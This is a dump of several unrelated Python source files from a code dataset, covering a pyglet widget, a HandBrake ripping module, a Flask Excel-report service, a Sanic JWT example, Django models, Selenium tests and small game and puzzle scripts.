HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# -----------------------------------------------------------------------------\nimport pyglet\nfrom pyglet.gl import *\nfrom .shape import Rectangle, Ellipse, Cross, Star\nfrom .widget import Widget\n\n# ----------------------------------------------------------------------- HBox\nclass Canvas(Widget):\n ''' Canvas widget\n \n any empty widget, acts as a parent container for other widgets\n it handles mouse event and draw event routing.\n it handles relative move\n it does not handle relative scaling of children, if the window is resized\n '''\n # _________________________________________________________________ __init__\n def __init__(self, x=0, y=0, z=0, width=300, height=300,\n anchor_x='left', anchor_y='bottom', elements=[]):\n\n Widget.__init__(self,x,y,z,width,height,anchor_x,anchor_y)\n\n length = len(elements)\n for i in range(length):\n self._elements[i] = elements[i]\n self._elements[i].set_parent( self )\n\n # _________________________________________________________________ on_draw\n def on_draw(self):\n \n # save scissoring\n savescissor = (GLint * 4)()\n glGetIntegerv( GL_SCISSOR_BOX, savescissor)\n save_scissor_enable = glIsEnabled(GL_SCISSOR_TEST)\n\n # set scissoring\n glScissor( self._root_x, self._root_y,\n self.width, self.height)\n glEnable(GL_SCISSOR_TEST)\n\n # draw self\n glTranslatef(self._root_x, self._root_y, self._root_z)\n self.dispatch_event('widget_draw', self)\n glTranslatef(-self._root_x, -self._root_y, -self._root_z)\n\n # restore scissoring\n glScissor( savescissor[0], savescissor[1],\n savescissor[2], savescissor[3])\n \n if not save_scissor_enable:\n glDisable(GL_SCISSOR_TEST)\n \n # draw children\n Widget.on_draw(self)\n\nCanvas.register_event_type('widget_draw')\n","sub_path":"PyWidget3/canvas.py","file_name":"canvas.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"546526291","text":"# Handbrake processing of dvd/bluray\n\nimport sys\nimport os\nimport logging\nimport subprocess\nimport re\nimport shlex\nimport time\nimport datetime\nimport psutil\n\nfrom arm.ripper import utils\n# from arm.config.config import cfg\nfrom arm.models.models import Track # noqa: E402\nfrom arm.ui import app, db # noqa E402\n\n# flake8: noqa: W605\n\n\ndef handbrake_mainfeature(srcpath, basepath, logfile, job):\n \"\"\"process dvd with mainfeature enabled.\\n\n srcpath = Path to source for HB (dvd or files)\\n\n basepath = Path where HB will save trancoded files\\n\n logfile = Logfile for HB to redirect output to\\n\n job = Job object\\n\n\n Returns nothing\n \"\"\"\n logging.info(\"Starting DVD Movie Mainfeature processing\")\n logging.debug(\"Handbrake starting: \" + str(job))\n utils.SleepCheckProcess(\"HandBrakeCLI\",int(job.config.MAX_CONCURRENT_TRANSCODES))\n logging.debug(\"Setting job status to 'transcoding'\")\n job.status = \"transcoding\"\n \n\n filename = os.path.join(basepath, job.title + \".\" + job.config.DEST_EXT)\n filepathname = os.path.join(basepath, filename)\n logging.info(\"Ripping title Mainfeature to \" + shlex.quote(filepathname))\n\n get_track_info(srcpath, job)\n\n track = job.tracks.filter_by(main_feature=True).first()\n\n \n if track is None:\n msg = \"No main feature found by Handbrake. Turn MAINFEATURE to false in arm.yml and try again.\"\n logging.error(msg)\n raise RuntimeError(msg)\n\n track.filename = track.orig_filename = filename\n db.session.commit()\n\n if job.disctype == \"dvd\":\n hb_args = job.config.HB_ARGS_DVD\n hb_preset = job.config.HB_PRESET_DVD\n elif job.disctype == \"bluray\":\n hb_args = job.config.HB_ARGS_BD\n hb_preset = job.config.HB_PRESET_BD\n\n cmd = 'nice {0} -i {1} -o {2} --main-feature --preset \"{3}\" {4} >> {5} 2>&1'.format(\n job.config.HANDBRAKE_CLI,\n shlex.quote(srcpath),\n shlex.quote(filepathname),\n hb_preset,\n hb_args,\n logfile\n )\n\n logging.debug(\"Sending command: %s\", (cmd))\n\n try:\n subprocess.check_output(\n cmd,\n shell=True\n ).decode(\"utf-8\")\n logging.info(\"Handbrake call successful\")\n track.status = \"success\"\n except subprocess.CalledProcessError as hb_error:\n err = \"Call to handbrake failed with code: \" + str(hb_error.returncode) + \"(\" + str(hb_error.output) + \")\"\n logging.error(err)\n track.status = \"fail\"\n track.error = err\n sys.exit(err)\n\n logging.info(\"Handbrake processing complete\")\n logging.debug(str(job))\n\n track.ripped = True\n db.session.commit()\n\n return\n\n\ndef handbrake_all(srcpath, basepath, logfile, job):\n \"\"\"Process all titles on the dvd\\n\n srcpath = Path to source for HB (dvd or files)\\n\n basepath = Path where HB will save trancoded files\\n\n logfile = Logfile for HB to redirect output to\\n\n job = Disc object\\n\n\n Returns nothing\n \"\"\"\n # Wait until there is a spot to transcode\n job.status = \"waiting_transcode\"\n utils.SleepCheckProcess(\"HandBrakeCLI\",int(job.config.MAX_CONCURRENT_TRANSCODES))\n job.status = \"transcoding\"\n\n logging.info(\"Starting BluRay/DVD transcoding - All titles\")\n\n if job.disctype == \"dvd\":\n hb_args = job.config.HB_ARGS_DVD\n hb_preset = job.config.HB_PRESET_DVD\n elif job.disctype == \"bluray\":\n hb_args = job.config.HB_ARGS_BD\n hb_preset = job.config.HB_PRESET_BD\n\n get_track_info(srcpath, job)\n\n logging.debug(\"Total number of tracks is \" + str(job.no_of_titles))\n\n for track in job.tracks:\n\n if track.length < int(job.config.MINLENGTH):\n # too short\n logging.info(\"Track #\" + str(track.track_number) + \" of \" + str(job.no_of_titles) + \". Length (\" + str(track.length) +\n \") is less than minimum length (\" + job.config.MINLENGTH + \"). Skipping\")\n elif track.length > int(job.config.MAXLENGTH):\n # too long\n logging.info(\"Track #\" + str(track.track_number) + \" of \" + str(job.no_of_titles) + \". Length (\" + str(track.length) +\n \") is greater than maximum length (\" + job.config.MAXLENGTH + \"). Skipping\")\n else:\n # just right\n logging.info(\"Processing track #\" + str(track.track_number) + \" of \" + str(job.no_of_titles) + \". Length is \" + str(track.length) + \" seconds.\")\n\n filename = \"title_\" + str.zfill(str(track.track_number), 2) + \".\" + job.config.DEST_EXT\n filepathname = os.path.join(basepath, filename)\n\n logging.info(\"Transcoding title \" + str(track.track_number) + \" to \" + shlex.quote(filepathname))\n\n track.filename = track.orig_filename = filename\n db.session.commit()\n\n cmd = 'nice {0} -i {1} -o {2} --preset \"{3}\" -t {4} {5}>> {6} 2>&1'.format(\n job.config.HANDBRAKE_CLI,\n shlex.quote(srcpath),\n shlex.quote(filepathname),\n hb_preset,\n str(track.track_number),\n hb_args,\n logfile\n )\n\n logging.debug(\"Sending command: %s\", (cmd))\n\n try:\n hb = subprocess.check_output(\n cmd,\n shell=True\n ).decode(\"utf-8\")\n logging.debug(\"Handbrake exit code: \" + hb)\n track.status = \"success\"\n except subprocess.CalledProcessError as hb_error:\n err = \"Handbrake encoding of title \" + str(track.track_number) + \" failed with code: \" + str(hb_error.returncode) + \"(\" + str(hb_error.output) + \")\" # noqa E501\n logging.error(err)\n track.status = \"fail\"\n track.error = err\n # return\n # sys.exit(err)\n\n track.ripped = True\n db.session.commit()\n\n logging.info(\"Handbrake processing complete\")\n logging.debug(str(job))\n\n return\n\n\ndef handbrake_mkv(srcpath, basepath, logfile, job):\n \"\"\"process all mkv files in a directory.\\n\n srcpath = Path to source for HB (dvd or files)\\n\n basepath = Path where HB will save trancoded files\\n\n logfile = Logfile for HB to redirect output to\\n\n job = Disc object\\n\n\n Returns nothing\n \"\"\"\n\n job.status = \"waiting_transcode\"\n utils.SleepCheckProcess(\"HandBrakeCLI\",int(job.config.MAX_CONCURRENT_TRANSCODES))\n job.status = \"transcoding\"\n\n if job.disctype == \"dvd\":\n hb_args = job.config.HB_ARGS_DVD\n hb_preset = job.config.HB_PRESET_DVD\n elif job.disctype == \"bluray\":\n hb_args = job.config.HB_ARGS_BD\n hb_preset = job.config.HB_PRESET_BD\n\n for f in os.listdir(srcpath):\n srcpathname = os.path.join(srcpath, f)\n destfile = os.path.splitext(f)[0]\n filename = os.path.join(basepath, destfile + \".\" + job.config.DEST_EXT)\n filepathname = os.path.join(basepath, filename)\n\n logging.info(\"Transcoding file \" + shlex.quote(f) + \" to \" + shlex.quote(filepathname))\n\n cmd = 'nice {0} -i {1} -o {2} --preset \"{3}\" {4}>> {5} 2>&1'.format(\n job.config.HANDBRAKE_CLI,\n shlex.quote(srcpathname),\n shlex.quote(filepathname),\n hb_preset,\n hb_args,\n logfile\n )\n\n logging.debug(\"Sending command: %s\", (cmd))\n\n try:\n hb = subprocess.check_output(\n cmd,\n shell=True\n ).decode(\"utf-8\")\n logging.debug(\"Handbrake exit code: \" + hb)\n except subprocess.CalledProcessError as hb_error:\n err = \"Handbrake encoding of file \" + shlex.quote(f) + \" failed with code: \" + str(hb_error.returncode) + \"(\" + str(hb_error.output) + \")\"\n logging.error(err)\n # job.errors.append(f)\n\n logging.info(\"Handbrake processing complete\")\n logging.debug(str(job))\n\n return\n\n\ndef get_track_info(srcpath, job):\n \"\"\"Use HandBrake to get track info and updatte Track class\\n\n\n srcpath = Path to disc\\n\n job = Job instance\\n\n \"\"\"\n \n logging.info(\"Using HandBrake to get information on all the tracks on the disc. This will take a few minutes...\")\n\n cmd = '{0} -i {1} -t 0 --scan'.format(\n job.config.HANDBRAKE_CLI,\n shlex.quote(srcpath)\n )\n\n logging.debug(\"Sending command: %s\", (cmd))\n\n try:\n hb = subprocess.check_output(\n cmd,\n stderr=subprocess.STDOUT,\n shell=True\n ).decode('cp437').splitlines()\n except subprocess.CalledProcessError as hb_error:\n logging.error(\"Couldn't find a valid track. Try running the command manually to see more specific errors.\")\n logging.error(\"Specifid error is: \" + str(hb_error.returncode) + \"(\" + str(hb_error.output) + \")\")\n return(-1)\n # sys.exit(err)\n\n t_pattern = re.compile(r'.*\\+ title *')\n pattern = re.compile(r'.*duration\\:.*')\n seconds = 0\n t_no = 0\n fps = float(0)\n aspect = 0\n result = None\n mainfeature = False\n for line in hb:\n\n # get number of titles\n if result is None:\n if job.disctype == \"bluray\":\n result = re.search('scan: BD has (.*) title\\(s\\)', line)\n else:\n result = re.search('scan: DVD has (.*) title\\(s\\)', line)\n\n if result:\n titles = result.group(1)\n titles = titles.strip()\n logging.debug(\"Line found is: \" + line)\n logging.info(\"Found \" + titles + \" titles\")\n job.no_of_titles = titles\n db.session.commit()\n\n if(re.search(t_pattern, line)) is not None:\n if t_no == 0:\n pass\n else:\n utils.put_track(job, t_no, seconds, aspect, fps, mainfeature, \"handbrake\")\n\n mainfeature = False\n t_no = line.rsplit(' ', 1)[-1]\n t_no = t_no.replace(\":\", \"\")\n\n if(re.search(pattern, line)) is not None:\n t = line.split()\n h, m, s = t[2].split(':')\n seconds = int(h) * 3600 + int(m) * 60 + int(s)\n\n if(re.search(\"Main Feature\", line)) is not None:\n mainfeature = True\n\n if(re.search(\" fps\", line)) is not None:\n fps = line.rsplit(' ', 2)[-2]\n aspect = line.rsplit(' ', 3)[-3]\n aspect = str(aspect).replace(\",\", \"\")\n\n utils.put_track(job, t_no, seconds, aspect, fps, mainfeature, \"handbrake\")\n\n","sub_path":"arm/ripper/handbrake.py","file_name":"handbrake.py","file_ext":"py","file_size_in_byte":10537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"254652597","text":"import logging\nimport os\nimport re\nimport sys\nimport threading\nimport uuid\n\nimport xlwt as xlwt\n\nfrom src.mail import send_mail\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(rootPath)\nfrom src.util.config_util import config\nfrom flask import render_template, Blueprint, jsonify, request\n\nLOG_FORMAT = ('%(levelname) -10s %(asctime)s %(name) -30s %(funcName) '\n '-35s %(lineno) -5d: %(message)s')\nlogging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)\nLOGGER = logging.getLogger(\"api\")\n\nexcel_service = Blueprint('excel_service', __name__)\n\n\n@excel_service.route('/')\ndef home():\n return render_template('home.html')\n\n\n@excel_service.route('/hello')\ndef hello():\n return \"Hello World Generate Excel\"\n\n\ndef judge_email(email):\n patten = re.compile(r\"^([A-Za-z0-9_\\-.])+@([A-Za-z0-9_\\-.])+\\.([A-Za-z]{2,4})$\")\n return re.match(patten, email) is not None\n\n\n@excel_service.route('/generate', methods=['POST'])\ndef generate():\n competition_id = request.values.get(\"competition_id\")\n if competition_id is None or not competition_id.isdigit():\n return jsonify({\n \"code\": 405,\n \"message\": \"参数错误\",\n \"body\": {},\n \"status\": False\n })\n file_id = str(uuid.uuid1())\n thread = threading.Thread(target=service, args=(competition_id, file_id))\n thread.start()\n return jsonify({\n \"code\": 200,\n \"message\": \"请求成功\",\n \"body\": file_id,\n \"status\": True\n })\n\n\ndef service(competition_id, file_id):\n LOGGER.debug(\"thread start\")\n db_data = get_db_data(competition_id)\n file_path, file_name = generate_excel(db_data, file_id)\n send_mail(db_data['admin_emails'], file_path, file_name)\n\n\ndef get_db_data(competition_id):\n rxpbdb = {}\n cursor = config.get_mysql_cursor()\n cursor.execute('SELECT * FROM rxpb_user_info WHERE role_id=1 and status=1')\n admins = cursor.fetchall()\n rxpbdb['admin_emails'] = []\n for admin in admins:\n if judge_email(admin['email']):\n rxpbdb['admin_emails'].append(admin['email'])\n cursor.execute('SELECT * FROM rxpbdb.rxpb_company_info ORDER BY company_id')\n rxpbdb[\"all_company\"] = cursor.fetchall()\n cursor.execute('SELECT group_id,'\n 'a.company_id,'\n 'company_name,'\n 'avatar_url,'\n 'a.competition_id,'\n '((quality_score_m + quality_score_f) / 2) AS score,'\n 'a.create_date,'\n 'a.create_user,'\n 'a.update_date,'\n 'a.update_user '\n 'FROM rxpb_group_info AS a '\n 'LEFT JOIN rxpb_company_info AS b '\n 'ON a.competition_id = b.competition_id '\n 'AND a.company_id = b.company_id '\n 'WHERE a.competition_id = %s '\n 'ORDER BY score DESC '\n % str(competition_id))\n rxpbdb['rank_quality'] = cursor.fetchall()\n cursor.execute('SELECT group_id,'\n 'a.company_id,'\n 'company_name,'\n 'avatar_url,'\n 'a.competition_id,'\n '((taste_score_m + taste_score_f)/ 2) AS score,'\n 'a.create_date,'\n 'a.create_user,'\n 'a.update_date,'\n 'a.update_user '\n 'FROM rxpb_group_info AS a '\n 'LEFT JOIN rxpb_company_info AS b '\n 'ON a.competition_id = b.competition_id '\n 'AND a.company_id = b.company_id '\n 'WHERE a.competition_id = %s '\n 'ORDER BY score DESC'\n % str(competition_id))\n rxpbdb['rank_taste'] = cursor.fetchall()\n cursor.execute('SELECT group_id,'\n 'a.company_id,'\n 'company_name,'\n 'avatar_url,'\n 'a.competition_id,'\n '((fatness_score_m + fatness_score_f)/ 2) AS score,'\n 'a.create_date,'\n 'a.create_user,'\n 'a''.update_date,'\n 'a.update_user '\n 'FROM rxpb_group_info AS a '\n 'LEFT JOIN rxpb_company_info AS b '\n 'ON a.competition_id = b.competition_id '\n 'AND a.company_id = b.company_id '\n 'WHERE a.competition_id = %s '\n 'ORDER BY score DESC'\n % str(competition_id))\n rxpbdb['rank_fatness'] = cursor.fetchall()\n cursor.execute('SELECT group_id,'\n 'a.company_id,'\n 'b.company_name,'\n 'b.avatar_url, '\n 'a.competition_id,'\n 'fatness_score_m,'\n 'quality_score_m,'\n 'taste_score_m, '\n 'fatness_score_f,'\n 'quality_score_f, '\n 'taste_score_f,'\n 'a.create_date,'\n 'a.create_user,'\n 'a.update_date, '\n 'a.update_user '\n 'from rxpb_group_info as a '\n 'LEFT JOIN rxpb_company_info as b '\n 'ON a.company_id = b.company_id '\n 'AND a.competition_id = b.competition_id '\n 'where a.competition_id =%s' % str(competition_id))\n rxpbdb['all_group'] = cursor.fetchall()\n rxpbdb['quality_score'] = []\n rxpbdb['taste_score'] = []\n rxpbdb['fatness_score'] = []\n for group in rxpbdb['all_group']:\n cursor.execute('SELECT crab_id, group_id, crab_sex, score_fin '\n 'FROM rxpb_score_quality '\n 'WHERE group_id=%s GROUP BY group_id, crab_sex, crab_id, score_fin ' % str(group['group_id']))\n rxpbdb['quality_score'].append(cursor.fetchall())\n cursor.execute('SELECT crab_id, group_id, crab_sex, score_fin '\n 'FROM rxpb_score_taste '\n 'WHERE group_id=%s GROUP BY group_id, crab_sex, crab_id, score_fin' % str(group['group_id']))\n rxpbdb['taste_score'].append(cursor.fetchall())\n cursor.execute(\n 'SELECT group_id, crab_id, crab_sex, crab_weight, crab_length, crab_fatness '\n 'FROM rxpb_crab_info '\n 'WHERE group_id=%s GROUP BY group_id, crab_sex, crab_id, crab_weight,crab_length,crab_fatness' % str(group['group_id']))\n rxpbdb['fatness_score'].append(cursor.fetchall())\n cursor.close()\n return rxpbdb\n\n\ndef generate_excel(data: dict, file_id: str):\n file_name = file_id + \".xls\"\n if os.path.exists(\"./\" + file_name):\n os.remove(\"./\" + file_name)\n write_excel = xlwt.Workbook(encoding='utf-8')\n fatness_score_sheet = write_excel.add_sheet('金蟹奖、优质奖-肥满度')\n fatness_rank_sheet = write_excel.add_sheet('金蟹奖、优质奖-排序')\n quality_score_sheet = write_excel.add_sheet('最佳种质奖')\n quality_rank_sheet = write_excel.add_sheet('最佳种质奖-排序')\n taste_score_sheet = write_excel.add_sheet('口感奖-专家')\n taste_rank_sheet = write_excel.add_sheet('口感奖-排序')\n all_company_sheet = write_excel.add_sheet('参赛单位')\n row = 0\n for company in data['all_company']:\n all_company_sheet.write(row, 0, company['company_id'])\n all_company_sheet.write(row, 1, company['company_name'])\n row += 1\n row = 0\n for fatness in data['rank_fatness']:\n fatness_rank_sheet.write(row, 0, '第' + str(fatness['group_id']) + '组')\n fatness_rank_sheet.write(row, 1, fatness['company_name'])\n fatness_rank_sheet.write(row, 2, fatness['score'])\n fatness_rank_sheet.write(row, 3, str(row + 1))\n row += 1\n row = 0\n for quality in data['rank_quality']:\n quality_rank_sheet.write(row, 0, '第' + str(quality['group_id']) + '组')\n quality_rank_sheet.write(row, 1, quality['company_name'])\n quality_rank_sheet.write(row, 2, quality['score'])\n quality_rank_sheet.write(row, 3, str(row + 1))\n row += 1\n row = 0\n for taste in data['rank_taste']:\n taste_rank_sheet.write(row, 0, '第' + str(taste['group_id']) + '组')\n taste_rank_sheet.write(row, 1, taste['company_name'])\n taste_rank_sheet.write(row, 2, taste['score'])\n taste_rank_sheet.write(row, 3, str(row + 1))\n row += 1\n row = 0\n worker_directory = os.path.abspath(os.path.dirname(__file__)) + \"/assert/\"\n write_excel.save(worker_directory + file_name)\n return worker_directory + file_name, file_name\n","sub_path":"generate-excel/src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":8711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"187383366","text":"def loveLetterMystery(s):\n\tans = 0\n\tfirst = s[:len(s) // 2]\n\tlast = s[len(s) // 2:]\n\tif len(s) % 2 != 0:\n\t\tlast = last[1:]\n\t\n\n\tfor i, j in zip(first, last[::-1]):\n\t\tans += abs(ord(i) - ord(j))\n\n\treturn ans\n\n\nif __name__ == '__main__':\n\tt = int(input())\n\tfor _ in range(t):\n\t\ts = input()\n\t\tprint(loveLetterMystery(s))","sub_path":"Tournament_Practice/loveLetterMystery.py","file_name":"loveLetterMystery.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"215756918","text":"base_card_dict = {\n \"data\": {\n \"id\": \"\",\n \"name\": \"\",\n \"supertype\": \"Pokémon\",\n \"subtypes\": [],\n \"hp\": \"0\",\n \"types\": [],\n \"evolvesFrom\": \"\",\n \"abilities\": [{\"name\": \"\", \"text\": \"\", \"type\": \"Ability\"}],\n \"attacks\": [\n {\"name\": \"\", \"cost\": [], \"damage\": \"\", \"text\": \"\"},\n ],\n \"weaknesses\": [{\"type\": \"\", \"value\": \"×2\"}],\n \"resistances\": [{\"type\": \"\", \"value\": \"-20\"}],\n \"retreatCost\": [],\n \"convertedRetreatCost\": 0,\n \"set\": {\n \"id\": \"\",\n \"name\": \"\",\n \"series\": \"\",\n \"printedTotal\": 0,\n \"total\": 0,\n \"legalities\": {\"unlimited\": \"Legal\", \"expanded\": \"Legal\"},\n \"ptcgoCode\": \"\",\n \"releaseDate\": \"\",\n \"updatedAt\": \"\",\n \"images\": {\"symbol\": \"\", \"logo\": \"\"},\n },\n \"number\": \"0\",\n \"artist\": \"\",\n \"rarity\": \"\",\n \"flavorText\": \"\",\n \"nationalPokedexNumbers\": [0],\n \"legalities\": {\"unlimited\": \"Legal\", \"expanded\": \"Legal\"},\n \"images\": {\"small\": \"\", \"large\": \"\"},\n \"tcgplayer\": {},\n \"reverseHolofoil\": {},\n }\n}\n","sub_path":"pokemon_card_generator/data/base_card_dict.py","file_name":"base_card_dict.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"53153586","text":"import aiohttp\nimport asyncio\nimport os\nimport re\nimport shutil\nfrom UnityPy import AssetsManager\nimport json\nimport timeit\n\nhttp_proxy = 'http://127.0.0.1:10809'\n#--CONFIG--\nresVer = '20201012_lgAMJZOe6RAUaGfu'\n#--CONFIG--\nassetbundle = {\n 'jp':f'../DLScripts/prs_manifests_archive/{resVer}/assetbundle.manifest',\n 'zh_cn':f'../DLScripts/prs_manifests_archive/{resVer}/assetbundle.zh_cn.manifest',\n 'zh_tw':f'../DLScripts/prs_manifests_archive/{resVer}/assetbundle.zh_tw.manifest',\n 'en_us':f'../DLScripts/prs_manifests_archive/{resVer}/assetbundle.en_us.manifest'}\n\nROOT = os.path.dirname(os.path.realpath(__file__))\nJSON = os.path.join(ROOT, 'json')\nMASTER = os.path.join(ROOT, 'master')\nos.makedirs(MASTER, exist_ok=True)\nos.makedirs(JSON, exist_ok=True)\n\ndef loadMastersUrl():\n master = {}\n for lang in assetbundle:\n with open(assetbundle[lang], 'r', encoding='utf-8') as m:\n for l in m:\n sp = l.split(',')\n if sp[0] == 'master':\n master['%s-master' % lang] = sp[1].strip()\n continue\n m.close()\n return master\n\nasync def download(session, url, filename):\n async with session.get(url, proxy = http_proxy) as resp:\n if resp.status != 200:\n print(filename, ': download failed.')\n else:\n with open(os.path.join(MASTER, filename), 'wb') as f:\n f.write(await resp.read())\n\nasync def downloadMasters():\n master = loadMastersUrl()\n async with aiohttp.ClientSession() as session:\n await asyncio.gather(*[\n download(session, master[region], region)\n for region in master \n ])\n\ndef process_json(tree):\n while isinstance(tree, dict):\n if 'dict' in tree:\n tree = tree['dict']\n elif 'list' in tree:\n tree = tree['list']\n elif 'entriesValue' in tree and 'entriesHashCode' in tree:\n return {k: process_json(v) for k, v in zip(tree['entriesHashCode'], tree['entriesValue'])}\n else:\n return tree\n return tree\n\ndef dumpTextlabel(filepath, region):\n am = AssetsManager(filepath)\n for asset in am.assets.values():\n for o in asset.objects.values():\n data = o.read()\n if str(data.type) == 'MonoBehaviour' and str(data.name) == 'TextLabel':\n tree = data.type_tree\n with open('%s/%sTextLabel.json' % (JSON, region), 'w', encoding='utf8') as f:\n json.dump(process_json(tree), f, indent=2, ensure_ascii=False)\n\ndef parseMasters():\n for f in os.listdir(MASTER):\n region = f.split('-')[0].replace('_', '').upper()\n dumpTextlabel(os.path.join(MASTER, f), region)\n print('parse complete.')\n\ndef main():\n start = timeit.default_timer()\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(downloadMasters())\n print(\"download complete.\")\n\n parseMasters()\n\n end = timeit.default_timer()\n print('time spent: ' + str(end-start)) # 90 seconds..?\n\nif __name__ == '__main__':\n main()","sub_path":"textlabel.py","file_name":"textlabel.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"122691491","text":"from sanic import Sanic\nfrom sanic.response import json\nfrom sanic.request import Request\nfrom sanic_jwt_extended import (\n JWTManager, jwt_required, create_access_token,\n create_refresh_token)\nimport uuid\nfrom sanic_jwt_extended.tokens import Token\n\napp = Sanic(__name__)\n\n# Setup the Sanic-JWT-Extended extension\napp.config['JWT_SECRET_KEY'] = 'super-secret' # Change this!\napp.config['RBAC_ENABLE'] = True\nJWTManager(app)\n\n\n# Provide a method to create access tokens. The create_access_token()\n# function is used to actually generate the token, and you can return\n# it to the caller however you choose.\n@app.route('/login', methods=['POST'])\nasync def login(request: Request):\n username = request.json.get('username', None)\n\n # Identity can be any data that is json serializable\n access_token = await create_access_token(identity=username, role=\"ADMIN\", app=request.app)\n return json(dict(\n access_token=access_token\n ), status=200)\n\n\n# Protect a view with jwt_required, which requires a valid access token\n# in the request to access.\n@app.route('/protected', methods=['GET'])\n@jwt_required(allow=[\"ADMIN\"]) # default to whitelist mode\nasync def protected(request: Request, token: Token):\n # Access the identity of the current user with get_jwt_identity\n current_user = token.jwt_identity\n return json(dict(logined_as=current_user))\n\n\nif __name__ == '__main__':\n app.run(port=9000)\n","sub_path":"examples/rbac.py","file_name":"rbac.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"478905268","text":"from django.db import models\n\n\n\nclass UseFullCategory(models.Model):\n name = models.CharField(max_length=250, verbose_name='Category Name')\n slug = models.SlugField(max_length=300, verbose_name='Slug')\n\n class Meta:\n ordering = ['name', 'pk']\n verbose_name_plural = 'Category'\n \n def __str__(self):\n return self.name\n \n\nclass UseFull(models.Model):\n category = models.ForeignKey(UseFullCategory, null=True, on_delete=models.SET_NULL, related_name='usefull_category', verbose_name='Category')\n\n name = models.CharField(max_length=200, blank=True, null=True, verbose_name='Web Site Name')\n image = models.ImageField(upload_to='usefull-images/', blank=True, null=True, verbose_name='Site Logo')\n\n link = models.URLField(verbose_name='Site URL')\n\n free = models.BooleanField(default=False, verbose_name='Free')\n paid = models.BooleanField(default=False, verbose_name='Paid')\n\n class Meta:\n verbose_name_plural = 'Use Full'\n\n def __str__(self):\n return self.name\n \n @property\n def imageURL(self):\n try:\n url = self.image.url\n except:\n url = ''\n return url","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"597361552","text":"from __future__ import print_function, division\nimport time\nimport unittest\n\nimport pytest\nfrom ddt import ddt, data, unpack\n\nfrom pages.landing_page.login_page import LoginPage\nfrom pages.virtualIps.virtualips_page import VirtualIps\nfrom utilities.read_data import getCSVData\nfrom tests.conftest import oneTimeSetUp, setUp\nimport logging\nfrom utilities.tstatus import TStatus\nfrom base.webdriverfactory import WebDriverFactory\n\n@pytest.mark.usefixtures(\"oneTimeSetUp\", \"setUp\")\n@ddt\n\n\nclass VirtualIpsTest(unittest.TestCase):\n\n @pytest.fixture(autouse=True)\n def classSetup(self, oneTimeSetUp):\n self.vip = VirtualIps(self.driver)\n self.lp = LoginPage(self.driver)\n self.tst = TStatus(self.driver)\n self.wdf = WebDriverFactory()\n\n\n @pytest.mark.run(order=15)\n def test_validLogin(self):\n self.lp.validLogin(\"admin@zscm.zscaler.com\", \"admin\")\n\n @pytest.mark.run(order=16)\n def test_precondition(self):\n self.vip.preconditionCheck()\n\n @pytest.mark.run(order=17)\n @data(*getCSVData(\"create_new_vips.csv\"))\n @unpack\n def test_CorrectCloudActivateWindow(self, ip, description):\n self.vip.cleanActivationActions()\n self.vip.cloudPushDisplayCorrect(ip, description)\n\n @pytest.mark.run(order=18)\n def test_deleteVips(self):\n self.vip.deleteCreatedVips()\n\n @pytest.mark.run(order=19)\n @data(*getCSVData(\"create_new_vips.csv\"))\n @unpack\n def test_createDupVip(self, ip, description):\n self.vip.createNewDupVip(ip, description)\n\n @pytest.mark.run(order=20)\n @data(*getCSVData(\"new_VIP.csv\"))\n @unpack\n def test_edit_VIP(self, ip, comment):\n self.vip.editVIP(ip, comment)\n\n\n @pytest.mark.run(order=21)\n def test_delete_ditedVip(self):\n self.vip.deleteDuplicatedVips()\n\n","sub_path":"tests/virtualIps/virtualips_test.py","file_name":"virtualips_test.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"90491583","text":"import random\nimport sys\n\nsys.path.append(\"..\") # so other modules can be found in parent dir\nfrom Player import *\nfrom Constants import *\nfrom Construction import CONSTR_STATS\nfrom Ant import UNIT_STATS\nfrom Move import Move\nfrom GameState import *\nfrom AIPlayerUtils import *\nimport random\nimport time\n\n##\n# AIPlayer\n# Description: The responsbility of this class is to interact with the game by\n# deciding a valid move based on a given game state. This class has methods that\n# will be implemented by students in Dr. Nuxoll's AI course.\n#\n# Variables:\n# playerId - The id of the player.\n##\nclass AIPlayer(Player):\n\n # __init__\n # Description: Creates a new Player\n #\n # Parameters:\n # inputPlayerId - The id to give the new player (int)\n # cpy - whether the player is a copy (when playing itself)\n ##\n def __init__(self, inputPlayerId):\n super(AIPlayer, self).__init__(inputPlayerId, \"search_refactor\")\n\n ##\n # getPlacement\n #\n # Description: called during setup phase for each Construction that\n # must be placed by the player. These items are: 1 Anthill on\n # the player's side; 1 tunnel on player's side; 9 grass on the\n # player's side; and 2 food on the enemy's side.\n #\n # Parameters:\n # construction - the Construction to be placed.\n # currentState - the state of the game at this point in time.\n #\n # Return: The coordinates of where the construction is to be placed\n ##\n def getPlacement(self, currentState):\n numToPlace = 0\n # implemented by students to return their next move\n if currentState.phase == SETUP_PHASE_1: # stuff on my side\n numToPlace = 11\n moves = []\n for i in range(0, numToPlace):\n move = None\n while move == None:\n # Choose any x location\n x = random.randint(0, 9)\n # Choose any 